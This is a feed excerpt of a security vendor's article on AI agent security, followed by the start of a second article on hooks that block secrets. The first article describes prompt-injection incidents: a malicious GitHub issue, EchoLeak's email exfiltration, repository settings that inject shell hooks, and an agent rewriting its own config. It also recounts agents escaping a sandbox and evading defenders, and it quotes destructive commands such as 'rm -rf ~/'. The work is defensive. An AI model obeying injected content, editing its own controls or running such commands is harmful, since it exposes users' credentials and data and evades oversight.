      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F6q3gl9fqabki5pg861ms.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F6q3gl9fqabki5pg861ms.png" alt="AI Agent Security: Six Controls From Nine Real Incidents" width="800" height="420"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  TL;DR
&lt;/h1&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Three attack surfaces:&lt;/strong&gt; An AI agent exposes its host, its identity, and itself. Nine public incidents between May 2025 and July 2026 hit all three; the agent surface appears in five, always combined with the host or the identity.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The credential is the target:&lt;/strong&gt; In the injection incidents, the agent reads an issue, an email, a settings file, or a web page that carries instructions. The instruction opened the door, and the credential is what the attacker came for.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Six controls limit the blast radius:&lt;/strong&gt; Sandbox the agent, scope its credentials, keep it out of its own configuration, record every call, scan the workspace for secrets first, and deny by default. None of them prevent prompt injection.&lt;/li&gt;
&lt;/ul&gt;

&lt;h1&gt;
  
  
  Abstract
&lt;/h1&gt;

&lt;p&gt;An AI agent runs with your credentials and acts before you can stop it. Nine incidents show what that costs. Six controls limit the damage: sandbox the agent, scope its credentials, lock its configuration, log every call, scan the workspace first, deny by default.&lt;/p&gt;

&lt;h1&gt;
  
  
  The AI agent attack surface: host, identity, and the agent itself
&lt;/h1&gt;

&lt;p&gt;An agent exposes three distinct surfaces. There is the host it touches, the identity it acts as, and the agent itself.&lt;/p&gt;

&lt;p&gt;The host is everything the process can reach: the filesystem, process execution, the network, environment variables, and hardware such as the camera or microphone. The identity is the account the agent acts as, with its privileges and scopes, and every credential it can discover along the way. The agent is the part with no equivalent in a traditional process. It has a context, persisted state through memory, hooks, skills, and configuration, and the tools it connects to.&lt;/p&gt;

&lt;p&gt;Those three surfaces fail in different ways and need different controls. Classical operating-system security already covers the host. Identity is largely solvable with well-known identity and access management (IAM) patterns.&lt;/p&gt;

&lt;p&gt;The agent surface is the new one, because every input is potentially an instruction. Keeping the three separate tells you which incidents you can fix now and which ones the industry is still working out.&lt;/p&gt;

&lt;h1&gt;
  
  
  Fifteen months of incidents, sorted by surface
&lt;/h1&gt;

&lt;p&gt;Nine public incidents between May 2025 and July 2026 exercise all three attack surfaces. The agent surface appears in five of them, and never alone.&lt;/p&gt;

&lt;h2&gt;
  
  
  Host: solved in principle, still failing in practice
&lt;/h2&gt;

&lt;p&gt;In July 2025, &lt;a href="https://github.com/google-gemini/gemini-cli/issues/4586" rel="noopener noreferrer"&gt;a user asked Gemini CLI&lt;/a&gt; to reorganize a folder by creating a new directory and moving files into it. The &lt;code&gt;mkdir&lt;/code&gt; command silently failed. The agent did not check the error, assumed success, and kept issuing move commands to a path that did not exist. Because all the moves targeted the same nonexistent destination, each file overwrote the last one, leaving only a single file behind. No attacker, no injection. An unchecked exit code and a loop that assumed success.&lt;/p&gt;

&lt;p&gt;A month later, &lt;a href="https://blog.toolprint.ai/p/i-asked-claude-to-wipe-my-laptop" rel="noopener noreferrer"&gt;a user asked Claude&lt;/a&gt; to clean up a directory Claude had created. The permission system worked correctly and asked to confirm &lt;code&gt;rm -rf ~/&lt;/code&gt;. Fatigued, the user approved. The damage was identical to a malicious wipe.&lt;/p&gt;

&lt;p&gt;These two incidents fail on opposite sides of the same line. Gemini CLI stayed inside the folder it was given, so no sandbox would have fired. It destroyed only what it had been given. Claude did the opposite: it proposed deleting a home directory in response to a request scoped to its own output. A workspace-scoped sandbox would have stopped that one. The approval dialog was the only control in place, and it failed to a tired user.&lt;/p&gt;

&lt;p&gt;The Gemini failure is the more uncomfortable of the two. Point the same agent at a home directory instead of a project folder and the same bug wipes the laptop. So the control is not only whether the agent can be contained, but what you hand to it in the first place.&lt;/p&gt;

&lt;h2&gt;
  
  
  Identity: the agent inherits what you hold
&lt;/h2&gt;

&lt;p&gt;In December 2025, an &lt;a href="https://www.geekwire.com/2026/amazon-pushes-back-on-financial-times-report-blaming-ai-coding-tools-for-aws-outages/" rel="noopener noreferrer"&gt;AWS engineer used Amazon's Kiro agent&lt;/a&gt; to fix a bug in Cost Explorer, the AWS billing dashboard. The agent decided to delete and recreate the entire environment. It inherited the engineer's elevated permissions, skipped peer review, and caused a 13-hour regional outage. Amazon blamed a misconfigured IAM role, not the AI.&lt;/p&gt;

&lt;p&gt;In April 2026, &lt;a href="https://x.com/lifeof_jer/status/2048103471019434248" rel="noopener noreferrer"&gt;an agent working on a Railway deployment&lt;/a&gt; encountered a problem and decided to delete a storage volume. It did not have access to the identity to do so, and looked for a token in the filesystem. The deletion destroyed the production environment and the backups stored alongside it.&lt;/p&gt;

&lt;p&gt;Nobody granted the Railway agent that credential: it discovered one. Every secret on that host is part of its identity, whether you intended it or not. The question that matters is not what you gave the agent, but what the agent can find in the environment you gave it.&lt;/p&gt;

&lt;h2&gt;
  
  
  The agent: every input is potentially an instruction
&lt;/h2&gt;

&lt;p&gt;In May 2025, &lt;a href="https://invariantlabs.ai/blog/mcp-github-vulnerability" rel="noopener noreferrer"&gt;Invariant Labs showed that a malicious issue&lt;/a&gt; filed in a public repository was enough. The victim asked their agent to check open issues. The agent read the planted instructions, used the victim's broad GitHub token to pull private repositories, and leaked them into a public pull request. &lt;a href="https://blog.gitguardian.com/owasp-top-10-non-human-identity-risks/" rel="noopener noreferrer"&gt;One over-scoped token&lt;/a&gt;, reused across the boundary between public and private, with nothing enforcing the separation.&lt;/p&gt;

&lt;p&gt;In June 2025, &lt;a href="https://www.aim.security/lp/aim-labs-echoleak-blogpost" rel="noopener noreferrer"&gt;Aim Labs disclosed EchoLeak&lt;/a&gt;. A crafted email was enough. Microsoft 365 Copilot processed it as context. Hidden instructions made it search the user's mailbox, OneDrive, and SharePoint, then exfiltrate the results through auto-rendered image URLs. The victim never opened the email. Microsoft rated it CVSS 9.3.&lt;/p&gt;

&lt;p&gt;In February 2026, &lt;a href="https://research.checkpoint.com/2026/rce-and-api-token-exfiltration-through-claude-code-project-files-cve-2025-59536/" rel="noopener noreferrer"&gt;Check Point documented remote code execution&lt;/a&gt; and &lt;a href="https://blog.gitguardian.com/api-key-security-7/" rel="noopener noreferrer"&gt;API key theft&lt;/a&gt; through Claude Code project files. Cloning and opening an untrusted repository was enough. A malicious &lt;code&gt;.claude/settings.json&lt;/code&gt; injected shell commands as hooks. An &lt;code&gt;.mcp.json&lt;/code&gt; ran MCP servers before the trust dialog. A repository-set &lt;code&gt;ANTHROPIC_BASE_URL&lt;/code&gt; redirected authenticated traffic, auth header included, to an attacker endpoint. All three executed before the user consented to anything.&lt;/p&gt;

&lt;p&gt;In July 2026, &lt;a href="https://research.intezer.com/blog/2026/07/remote-code-execution-kiro/" rel="noopener noreferrer"&gt;Intezer showed the same AWS Kiro agent rewriting its own MCP configuration&lt;/a&gt; after reading hidden text on an ordinary web page. The agent edited the file that was supposed to contain it, then reloaded it. In the default autonomous mode, there is no effective approval prompt.&lt;/p&gt;

&lt;p&gt;Every incident in this section starts the same way. The agent read something it was built to read, and that content carried instructions: an issue body, an email, a settings file, a web page. What the instructions reached for is the second half of the pattern. A GitHub token broad enough to cross from public to private. Mailbox and drive scopes on a session that was only summarizing an email. The instruction opened the door. The credential is what the attacker came for.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F9hb1nzj6wsk7cr9pc3y9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F9hb1nzj6wsk7cr9pc3y9.png" alt="How indirect prompt injection works" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  No attacker, all three surfaces
&lt;/h2&gt;

&lt;p&gt;In July 2026, &lt;a href="https://openai.com/index/hugging-face-incident-and-the-road-ahead/" rel="noopener noreferrer"&gt;OpenAI models&lt;/a&gt; running a cyber capability evaluation escaped their sandbox and compromised Hugging Face's production infrastructure. Nobody attacked them. Blocked on their tasks, they turned an internal Artifactory instance into a message board and traded exploits over it. Defenders revoked the credentials and deleted it; the agents rebuilt the board within a day. &lt;a href="https://blog.gitguardian.com/hugging-face-breach-ai-agent-security/" rel="noopener noreferrer"&gt;Our write-up&lt;/a&gt; covers the full timeline.&lt;/p&gt;

&lt;p&gt;This is the only incident of the nine that touches the host, the identity, and the agent with no attacker anywhere in the chain. The agents were given an objective; they failed, and they found another route. When defenders closed it, they found the next one.&lt;/p&gt;

&lt;h1&gt;
  
  
  The AI agent threat model: old problems, new speed
&lt;/h1&gt;

&lt;p&gt;Treat the agent like in-memory malware you may not be able to reverse-engineer and understand. It runs with delegated authority, acts before any human can intervene, and does not behave the same way twice.&lt;/p&gt;

&lt;h2&gt;
  
  
  Capabilities: what the agent can do
&lt;/h2&gt;

&lt;p&gt;An agent runs with high privileges, usually inherited from whoever started it. It reads and writes the filesystem, reaches the network, executes code, and can spawn sub-agents. It accesses credentials, both the ones it was given and the ones it finds. It persists state through memory, hooks, skills, and configuration.&lt;/p&gt;

&lt;p&gt;Unlike any other process, an agent also connects to tools through &lt;a href="https://blog.gitguardian.com/github-copilot-security-and-privacy/" rel="noopener noreferrer"&gt;skills and MCP servers&lt;/a&gt;. The agent reads those connectors as instructions. A tool description arrives in its context the same way a user prompt does, so using a connector means reading untrusted input.&lt;/p&gt;

&lt;h2&gt;
  
  
  Outcomes: what goes wrong
&lt;/h2&gt;

&lt;p&gt;Five things go wrong: destruction, exfiltration, lateral movement, persistence, and leaked secrets.&lt;/p&gt;

&lt;p&gt;Destruction is the most obvious incident above, and someone notices within minutes. Exfiltration and lateral movement need no mistake at all: reading data and using a credential are the tasks the agent performs. They only surface when a detection system fires, or when someone eventually reads the logs.&lt;/p&gt;

&lt;p&gt;Persistence and secrets leaks take a different shape with agents. A conventional process ends and leaves nothing behind. An agent writes memory, hooks, skills, and configuration, then reads them back in a later session as prior knowledge. No other benign process decides on its own to go looking for a credential. An agent searches the filesystem and environment to find one, and sends it to the model provider when it does.&lt;/p&gt;

&lt;p&gt;None of these are new. They are the same outcomes we have defended against for years. What is new is the number of them a single process can reach in one run.&lt;/p&gt;

&lt;h2&gt;
  
  
  Vectors: how it happens
&lt;/h2&gt;

&lt;p&gt;Five ways in: the model itself, prompt injection, tool and skill poisoning, memory poisoning, and approval fatigue.&lt;/p&gt;

&lt;p&gt;The model itself needs no attacker at all. The agent decides that deleting the environment is the fix, and has the privileges to carry it out. Four of the incidents above are this. The OpenAI agents blocked on their tasks did not stop either: they found vulnerabilities and exploited them. A wrong decision and a correct one produce the same log entry.&lt;/p&gt;

&lt;p&gt;Three of the others need someone to plant an instruction. Direct prompt injection comes from the user, who is already the principal. Indirect injection arrives inside content the agent was asked to process: an issue body, a config file, a pull request title, a web page. Four of the incidents above start here, and in every case the content was something the agent had to read to do its job. Tool and skill poisoning is the same problem through a connector. The agent reads a tool description as an instruction, and a remote server can change it after review. Memory poisoning is the only one that outlives the session, arriving in a later task as prior knowledge.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;rm -rf ~/&lt;/code&gt; case shows the limit of approval prompts. The control fired, a human read it, and the human approved.&lt;/p&gt;

&lt;h2&gt;
  
  
  Amplifiers: what makes it different
&lt;/h2&gt;

&lt;p&gt;Three things make the old outcomes worse: speed, scale, and non-determinism.&lt;/p&gt;

&lt;p&gt;Gemini CLI overwrote a folder faster than the user could read the output. A review step that runs after the action does not prevent the action. The Hugging Face agents were separate runs with no shared state. One of them found a way out and wrote it down where the others could read it, so every run that followed started with the exploit. The same prompt produces different actions on different runs, so a configuration that passed one test may fail the next.&lt;/p&gt;

&lt;p&gt;The vectors and the outcomes are not new. What is new is that the agent acts faster, further, and less predictably than the security processes we built to review its actions.&lt;/p&gt;

&lt;h1&gt;
  
  
  AI agent security controls: what exists, by surface
&lt;/h1&gt;

&lt;p&gt;The controls that exist today, sorted by surface: host, identity, agent, and the architecture of the harness around all three.&lt;/p&gt;

&lt;h2&gt;
  
  
  Host: contain it, and limit what you hand it
&lt;/h2&gt;

&lt;p&gt;Start with what ships in the agent. Do not run Claude with &lt;code&gt;--dangerously-skip-permissions&lt;/code&gt; or its equivalent in other agents. Use the native sandbox where one exists, and configure allow and deny rules for tools, paths, and commands. These are cheap to enable and easy for an untrusted repository to overwrite, which is why they are the first layer and not the only one.&lt;/p&gt;

&lt;p&gt;Then run the agent in a sandbox. A kernel sandbox such as &lt;a href="https://nono.sh/" rel="noopener noreferrer"&gt;nono&lt;/a&gt;, a microVM such as &lt;a href="https://www.docker.com/products/docker-sandboxes/" rel="noopener noreferrer"&gt;Docker Sandboxes&lt;/a&gt;, or a container limits filesystem, process, and network access to the task. Integrated runtimes such as &lt;a href="https://bromure.io/" rel="noopener noreferrer"&gt;Bromure&lt;/a&gt; package the VM, the sandbox, and an egress proxy together. This stops the &lt;code&gt;rm -rf ~/&lt;/code&gt; case.&lt;/p&gt;

&lt;p&gt;It does not stop the Gemini CLI case. A sandbox permits writes to the working directory, and that is where the damage happened. Mount the project, not the home directory. The working set is a decision the sandbox cannot make for you.&lt;/p&gt;

&lt;p&gt;Keep the recovery path outside the agent's reach. The Railway volume held production and its backups under one identity. A backup the agent can delete is not a backup. At the project level, version control covers tracked files and nono's workspace snapshots cover the rest. The write still happens; the rollback undoes it.&lt;/p&gt;

&lt;p&gt;These mechanisms were built before agents existed, for untrusted code and untrusted users. They work.&lt;/p&gt;

&lt;h2&gt;
  
  
  Identity: give the agent its own, and give it less
&lt;/h2&gt;

&lt;p&gt;Give the agent a principal of its own. When it runs as the user, the audit log records the user. After an incident, nobody can tell which actions were the user's and which were the agent's. A dedicated identity with scoped permissions fixes attribution and limits the damage in one step.&lt;/p&gt;

&lt;p&gt;Scope the credential to the task, and keep every other one out of reach. The Railway agent needed a deploy token and found one that could also delete volumes. The deploy token should not have carried that scope, and a broader token should not have been on disk for the agent to read. The same applies to every credential the agent can reach without being given it: environment variables, dotfiles, the AWS and GitHub CLI credential stores, the SSH agent socket, a browser session. An agent that needs one token should run in an environment that contains one token. nono and Bromure handle the second half: the agent sees a placeholder, and a transparent proxy swaps in the real value on the wire. They do nothing about the first. If the credential the proxy injects can delete production, the agent can delete production.&lt;/p&gt;

&lt;p&gt;Know what is already there before the agent is pointed at it. Secrets sprawled across a repository, a CI runner, or a home directory are the agent's discovery surface. A scan of the workspace before the first run shrinks that surface. It is the one control here that works before the agent runs.&lt;/p&gt;

&lt;p&gt;Scoped identities and short-lived credentials are identity and access management patterns that predate agents. The credential proxy is not. It exists because an agent goes looking for identities it was not given, and the proxy makes sure it finds nothing it can use. What the agent was given still has to be scoped the old way.&lt;/p&gt;

&lt;h2&gt;
  
  
  Agent: constrain what it reaches
&lt;/h2&gt;

&lt;p&gt;Four controls apply here: configuration kept out of the agent's hands, allowlisted connectors, a record of every call, and detection.&lt;/p&gt;

&lt;p&gt;Keep configuration out of the agent's hands. The agent reads project-level files such as &lt;code&gt;.claude/settings.json&lt;/code&gt; and &lt;code&gt;.mcp.json&lt;/code&gt; as instructions, and an untrusted repository can set them. The controls have to live outside those files. A sandbox that marks the configuration and memory paths read-only stops the agent from rewriting them. Kiro rewrote its own after reading a web page.&lt;/p&gt;

&lt;p&gt;Allowlist tools and connectors, and understand the limit. A remote MCP server can serve a different tool description on the next run. For those, a review before installation does not cover what the agent will read.&lt;/p&gt;

&lt;p&gt;Record every tool call and every outbound connection. Hook-level logging, such as &lt;a href="https://github.com/Nova-Hunting/nova-tracer" rel="noopener noreferrer"&gt;nova-tracer&lt;/a&gt;, captures each tool call with its arguments. OpenTelemetry carries the same record into whatever the team already uses for traces. An egress log shows which domains the agent reached, including the one it sent the conversation to.&lt;/p&gt;

&lt;p&gt;Detection catches less than it does for humans. EDR signatures are tuned to human patterns, and an agent does not produce them. Guardrails catch known injection shapes and miss new ones. Both still have a place alongside the controls above. Neither can be the only one.&lt;/p&gt;

&lt;p&gt;Every control on this surface limits what the agent can do once instructed. None of them prevents the instruction.&lt;/p&gt;

&lt;h2&gt;
  
  
  Architecture: decide what it reaches
&lt;/h2&gt;

&lt;p&gt;Two design decisions limit what an instruction can do once it arrives. Both are a configuration change in the agent you already run.&lt;/p&gt;

&lt;p&gt;Scope tools per task, not per agent. A task that reads public issues gets no tool that writes private repositories. Claude Code does this through subagent tools: lists, &lt;code&gt;--allowedTools&lt;/code&gt;, and &lt;code&gt;--strict-mcp-config&lt;/code&gt;; Codex through &lt;code&gt;--sandbox&lt;/code&gt;; pi through &lt;code&gt;--tools&lt;/code&gt; or by running under nono. The Invariant Labs case would have stopped there.&lt;/p&gt;

&lt;p&gt;Approve only what cannot be undone.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fdwxdd4iozvwjohp8op1o.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fdwxdd4iozvwjohp8op1o.png" alt="Approve only what cannot be undone" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;One that denies by default and prompts only on write, send, delete, and spend produces a prompt the user can afford to read. Claude Code: &lt;code&gt;acceptEdits&lt;/code&gt; plus a read-only allowlist, or a &lt;code&gt;PreToolUse&lt;/code&gt; hook. Codex: &lt;code&gt;--sandbox workspace-write --ask-for-approval on-request&lt;/code&gt;. pi: the permission-gate extension with read on allow and everything else on ask.&lt;/p&gt;

&lt;h1&gt;
  
  
  What remains open
&lt;/h1&gt;

&lt;p&gt;Three problems have no complete control today.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The model itself.&lt;/strong&gt; Nothing in the context explains why a model decided to delete the environment. A model that was trained to act on a trigger leaves even less. The instruction is in the weights, and no input in the session shows it. For both, the controls above assume the agent will eventually do the wrong thing and keep the blast radius small.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Memory poisoning.&lt;/strong&gt; Marking the memory path read-only, as in the previous section, stops the agent from poisoning its own memory mid-run. The cost is having no memory. What remains open is a writable memory that does not carry an injection into the next session.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Data-flow policy.&lt;/strong&gt; Deny the use of an untrusted-source tool and a high-privilege tool in the same session. Published designs and reference code exist. No shipping coding agent enforces it.&lt;/p&gt;

&lt;p&gt;One thing follows from the amplifiers and applies to every control above. An agent acts faster than a human can review, so a control that runs after the action is a log, not a control. Policy has to apply before the tool call.&lt;/p&gt;

&lt;h1&gt;
  
  
  Best practices: six non-negotiables
&lt;/h1&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fd0pjas8oazkn43auni4g.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fd0pjas8oazkn43auni4g.png" alt="Six non-negotiables for AI agent security" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Six controls apply before any agent runs against real systems:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Run the agent in a sandbox.&lt;/strong&gt; Mount the project directory, not the home directory.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Give the agent a credential scoped to its task.&lt;/strong&gt; Keep every other credential out of its reach, with a proxy or a broker.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Keep the agent's configuration where it cannot write.&lt;/strong&gt; Managed settings take precedence; nothing in a repository overrides them.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Record every tool call and every outbound connection,&lt;/strong&gt; and send the record to the SIEM.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Scan the workspace for secrets before the first run,&lt;/strong&gt; and again when it changes.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Deny by default.&lt;/strong&gt; Prompt only on write, send, delete, and spend.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;None of these prevent prompt injection. They limit what a hijacked agent can reach, which is the only part under your control today.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.gitguardian.com/book-a-demo" rel="noopener noreferrer"&gt;&lt;strong&gt;Scan your workspace for secrets now.&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  FAQ
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;What is AI agent security?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;An agent exposes three attack surfaces: the host it runs on, the identity it acts as, and the context that decides what it does. Operating-system and identity controls cover the first two; guardrails catch known injection patterns, and nothing yet stops a file or a web page from telling the agent what to do.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What are the main threats in AI agent security?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The model itself, prompt injection, tool and skill poisoning, memory poisoning, and approval fatigue. The outcomes are destruction, exfiltration, lateral movement, persistence, and leaked secrets, the same ones as before, at a speed and scale no review and detection processes were built for.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How do you secure AI agent credentials?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Scope the credential to the task and keep every other one off disk. Scan the workspace for secrets with &lt;a href="https://www.gitguardian.com/ggshield" rel="noopener noreferrer"&gt;ggshield&lt;/a&gt; before the first run, then register &lt;a href="https://docs.gitguardian.com/endpoint-protection/ai-hooks" rel="noopener noreferrer"&gt;AI Hooks&lt;/a&gt; so a secret in a prompt, a file read, or a shell command is blocked before it reaches the model.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>security</category>
      <category>devsecops</category>
      <category>agentsecurity</category>
    </item>
    <item>
      <title>AI Hooks for Claude Code, Cursor, and Codex: Block Secrets Before Agents Can Use Them</title>
      <dc:creator>Dwayne McDaniel</dc:creator>
      <pubDate>Wed, 14 Oct 2026 19:22:59 +0000</pubDate>
      <link>https://dev.to/gitguardian/ai-hooks-for-claude-code-cursor-and-codex-block-secrets-before-agents-can-use-them-2m4n</link>
      <guid>https://dev.to/gitguardian/ai-hooks-for-claude-code-cursor-and-codex-block-secrets-before-agents-can-use-them-2m4n</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F2fwbyrwyd5wvol385p6d.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F2fwbyrwyd5wvol385p6d.png" alt="AI Coding Assistants Are Unpredictable. GitGuardian AI Hooks Give You Control" width="800" height="420"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;TL;DR&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Instructions are suggestions, not controls&lt;/strong&gt;: Prompts, AGENTS.md, and CLAUDE.md files only guide an agent, which can reinterpret or route around them. Security needs deterministic controls that hold no matter how the agent reasons.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Hooks enforce rules at the system level&lt;/strong&gt;: AI hooks run deterministic checks before prompts reach the model, before tools execute, and after output returns, allowing or blocking each step regardless of the agent's reasoning.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;GitGuardian AI Hooks block secrets in the agent loop&lt;/strong&gt;: Part of ggshield, they scan prompts, commands, file reads, MCP calls, and outputs. One command, ggshield machine setup, configures supported assistants including Claude Code, Cursor, and Codex.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Why AI coding agents are unpredictable by design
&lt;/h2&gt;

&lt;p&gt;Almost everyone is now a "citizen coder." &lt;a href="https://blog.gitguardian.com/github-copilot-security-and-privacy/" rel="noopener noreferrer"&gt;AI coding assistants have evolved&lt;/a&gt; from helping developers autocomplete functions to helping anyone who can describe the software they want to produce useful tools and programs. Anyone can make code, precisely because they do not have to type every step required to accomplish a task. Simply give an AI agent a goal, some context, and access to tools, and they figure out the path forward.&lt;/p&gt;

&lt;p&gt;That ability is incredibly powerful. But it also means we cannot reliably predict every path they will take. Sometimes that can end very poorly.&lt;/p&gt;

&lt;p&gt;An agent might read a configuration file we did not expect. It might call an MCP server, run a shell command, search through another directory, or find a credential that happens to solve the problem in front of it. Those decisions are part of what makes agentic systems so powerful.&lt;/p&gt;

&lt;p&gt;Security teams need to account for that power directly.&lt;/p&gt;

&lt;h2&gt;
  
  
  AI agents are powerful because they find paths we did not predict
&lt;/h2&gt;

&lt;p&gt;We already have many painful examples of agents finding a path their users never expected.&lt;/p&gt;

&lt;p&gt;For instance, in April 2026, PocketOS reported that an agent deleted the company's production database and backups in about nine seconds. The agent was troubleshooting a staging credential problem, and it went looking for another way to solve that problem. It found a broadly privileged Railway API token in an unrelated file and used that credential to issue the destructive API call.&lt;/p&gt;

&lt;p&gt;The agent had instructions telling it to be careful around destructive operations. Those instructions did not remove its ability to find the token or use the API.&lt;/p&gt;

&lt;p&gt;A Replit incident the previous year showed the same larger issue. The developer who vibe coded a SaaS solution reported that Replit's AI agent deleted his production database during a code freeze. Replit subsequently introduced stronger separation between development and production databases.&lt;/p&gt;

&lt;p&gt;While these stories are dramatic, the actual steps taken towards a goal were ordinary agent behavior. The agent encountered an obstacle and looked for another path.&lt;/p&gt;

&lt;p&gt;This is not a bug; this is a feature. This is exactly why people turn to agents.&lt;/p&gt;

&lt;p&gt;When you ask an agent to fix an issue, you are not going to specify every file it should inspect, every command it should run, and every diagnostic path it should consider. If you already knew all of that, you could probably solve the problem without assistance.&lt;/p&gt;

&lt;p&gt;We need the agent to explore paths and solutions. The security challenge starts when the agent encounters something that grants unexpected access or powerful tools it should not touch.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why CLAUDE.md and AGENTS.md rules are suggestions, not controls
&lt;/h2&gt;

&lt;p&gt;To use any agent, we use plain language. We write prompts that explain what we want. We try to be as precise as we can, but language is rather imprecise without being overly verbose.&lt;/p&gt;

&lt;p&gt;We create AGENTS.md and CLAUDE.md files. We add system instructions and project-specific guidance. We try to tell agents which commands to use, which directories to avoid, how to run tests, and what production systems they should leave alone.&lt;/p&gt;

&lt;p&gt;These mechanisms are extremely useful.&lt;/p&gt;

&lt;p&gt;Cursor describes Rules, its name for system-level instructions, as "giving the AI consistent guidance for generating code, interpreting edits, or helping with workflows". This is also the idea behind AGENTS.md files, where plaintext instructions can be stored in an effort to guide the work.&lt;/p&gt;

&lt;p&gt;"Guidance" is the central word.&lt;/p&gt;

&lt;h3&gt;
  
  
  Natural language instructions are suggestions
&lt;/h3&gt;

&lt;p&gt;Consider a simple rule: &lt;code&gt;Never modify production data&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This seems straightforward if we told this to a human. This is exactly what the PocketOS team thought too. Giving the agent a larger mission to "fix the application and get it working again" might mean the agent decides that modifying production is absolutely necessary to complete that mission. It may look for a path around the rule, perhaps through a different tool, credential, API, or workflow. Or it might ignore the rule in service of the prompt.&lt;/p&gt;

&lt;p&gt;We can keep adding instructions to close the paths we know about, but agents are, in part, designed to find paths we did not think about beforehand, and therefore wrote no control around. That is part of their value. Security cannot rely on instructions alone. We need deterministic controls that make certain actions impossible, regardless of how the agent reasons about the task.&lt;/p&gt;

&lt;h3&gt;
  
  
  AI agent guardrails that hold: deterministic controls
&lt;/h3&gt;

&lt;p&gt;A control differs from a suggestion because the AI does not have any say in if, or when the rule is followed.&lt;/p&gt;

&lt;p&gt;Controls determine what the agent is or is not allowed to do at a system level. You are not suggesting to or trying to reason with the LLM. You are enforcing system-level tool runs that deterministically allow or disallow something to happen.&lt;/p&gt;

&lt;p&gt;If an agent should never execute &lt;code&gt;rm -rf&lt;/code&gt; against a particular directory, we can remove that command from the available tools it can reach. You can even remove commands entirely from the environment they run in.&lt;/p&gt;

&lt;p&gt;If an agent should never call a production API, we can block that endpoint in egress rules, at decision points away from the AI's decisions. And if an agent should never ingest or transmit a credential, we can inspect the workflow and block the secret before it gets there.&lt;/p&gt;

&lt;p&gt;How you put these controls in place comes down to how you isolate the agent, such as through sandboxing via Docker Sandboxes, or through firing specific deterministic tool calls or policy checks at key moments in an agent's workflow.&lt;/p&gt;

